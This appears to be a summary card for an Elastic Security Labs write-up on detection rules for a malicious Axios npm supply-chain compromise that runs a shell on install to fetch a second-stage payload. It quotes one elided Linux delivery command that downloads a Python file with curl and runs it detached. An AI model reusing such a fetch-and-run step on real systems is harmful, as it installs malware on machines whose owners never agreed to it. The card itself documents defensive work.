Elastic detections reliably catch the cross-platform Axios supply-chain compromise
Their behavioral detections provide consistent coverage of the Axios supply-chain delivery stage on Linux, Windows, and macOS without relying on static indicators.
Security & privacy Elastic Security Labs 1 Apr 2026 Defense Deployed evidence
Published as “Elastic releases detections for the Axios supply chain compromise”
Why it matters
Behavior-based detections can reliably surface Axios supply-chain compromises despite changing payloads or filenames.
Summary
Elastic Security Labs analyzed malicious Axios npm packages that add a transitive dependency which runs a shell to fetch a remote payload during install. They created detection rules that look for a Node.js process spawning a native shell, performing an HTTP fetch, and then detaching the second-stage payload. The rules triggered reliably on observed Linux, Windows, and macOS infections, covering the delivery stage without static IOCs. Evidence is based on real-world telemetry from compromised hosts, but the write-up provides limited quantitative data.
What they found 2
- Elastic detections triggered reliably on the observed behavior across all platforms.
“Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.”
- The Linux delivery chain shows a Node process spawning a shell that runs curl and then backgrounds a Python payload.
“node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &”
Caveats 2
- This results in a small but high-signal window where:
- The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing.
What’s new here 4
- Release of cross-platform detection rules for the Axios supply-chain compromise.
- Identification of a transitive dependency execution pattern as the primary indicator.
- Behavioral rules focus on Node.js spawning native shells, remote fetches, and detached execution.
- Inclusion of Windows renamed PowerShell proxy detection and macOS code-signature masquerading checks.